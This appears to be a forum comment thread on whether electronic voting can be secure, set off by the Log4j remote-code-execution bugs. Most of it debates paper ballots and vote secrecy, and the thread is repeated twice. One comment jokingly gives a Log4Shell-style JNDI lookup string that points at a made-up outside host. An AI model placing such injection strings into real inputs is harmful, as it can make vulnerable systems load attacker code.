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The one thing we can all be sure of though is that our elections are the most secure.

shp0ngle 5y ago
Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate
- baobabKoodaa 5y ago
  I believe your parent poster is poking fun at the idea that we can build secure electronic voting machines, when we can't even build a logging library without multiple RCE's. I don't think they insinuate that the voting machines are vulnerable to this specific threat.
  - thayne 5y ago
    I wouldn't be surprised if they were.
- thayne 5y ago
  Depending on the election, you might be able to write in an arbitrary candidate.
  - _dain_ 5y ago
    Listen, I just think Bobby Tables has the right idea about taxes.
- fiedzia 5y ago
  You can in some countries (Sweden and Austria, and some US states, according to https://en.wikipedia.org/wiki/Write-in_candidate https://en.wikipedia.org/wiki/Write-in_candidate), so go for it.
NaturalPhallacy 5y ago
There's no good reason to do elections on anything other than paper.
- stef25 5y ago
  If there's no way to build secure software that tallies digits then why are we even here?
  - kuschku 5y ago
    There is no way to build software that reliably handles anonymous data in a way that is understandable to the average citizen. Which is why e.g. Germany does all elections solely on paper, and still has early results just an hour after the polls close and final results the next morning.
  - unionpivo 5y ago
    > If there's no way to build secure software that tallies digits then why are we even here? Making semi secure software that tallies digits somewhat correctly for the 90% of the time. And its mostly good enogh. But for important things like elections, making software secure and robust enough is a lot harder (and trusting that it was done so even more) than just using paper. Same way most of us are still wiping our ass with paper, even though there are some more technologically advanced toilets that probably clean you better.
  - baobabKoodaa 5y ago
    If there was no requirement for vote secrecy, it would be easy. The conflicting requirements between verifiability of results and secrecy of the vote is what makes it hard. I wrote more about this here: https://www.attejuvonen.fi/thesis/ https://www.attejuvonen.fi/thesis/
    - nograpes 5y ago
      I laughed out loud (and was pleasantly surprised) when I found out how much you understated your expertise. I have only read a small bit of your dissertation, but so far it is informative and interesting.

Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate

baobabKoodaa 5y ago
I believe your parent poster is poking fun at the idea that we can build secure electronic voting machines, when we can't even build a logging library without multiple RCE's. I don't think they insinuate that the voting machines are vulnerable to this specific threat.
- thayne 5y ago
  I wouldn't be surprised if they were.
thayne 5y ago
Depending on the election, you might be able to write in an arbitrary candidate.
- _dain_ 5y ago
  Listen, I just think Bobby Tables has the right idea about taxes.
fiedzia 5y ago
You can in some countries (Sweden and Austria, and some US states, according to https://en.wikipedia.org/wiki/Write-in_candidate https://en.wikipedia.org/wiki/Write-in_candidate), so go for it.

NaturalPhallacy 5y ago

There's no good reason to do elections on anything other than paper.

stef25 5y ago
If there's no way to build secure software that tallies digits then why are we even here?
- kuschku 5y ago
  There is no way to build software that reliably handles anonymous data in a way that is understandable to the average citizen. Which is why e.g. Germany does all elections solely on paper, and still has early results just an hour after the polls close and final results the next morning.
- unionpivo 5y ago
  > If there's no way to build secure software that tallies digits then why are we even here? Making semi secure software that tallies digits somewhat correctly for the 90% of the time. And its mostly good enogh. But for important things like elections, making software secure and robust enough is a lot harder (and trusting that it was done so even more) than just using paper. Same way most of us are still wiping our ass with paper, even though there are some more technologically advanced toilets that probably clean you better.
- baobabKoodaa 5y ago
  If there was no requirement for vote secrecy, it would be easy. The conflicting requirements between verifiability of results and secrecy of the vote is what makes it hard. I wrote more about this here: https://www.attejuvonen.fi/thesis/ https://www.attejuvonen.fi/thesis/
  - nograpes 5y ago
    I laughed out loud (and was pleasantly surprised) when I found out how much you understated your expertise. I have only read a small bit of your dissertation, but so far it is informative and interesting.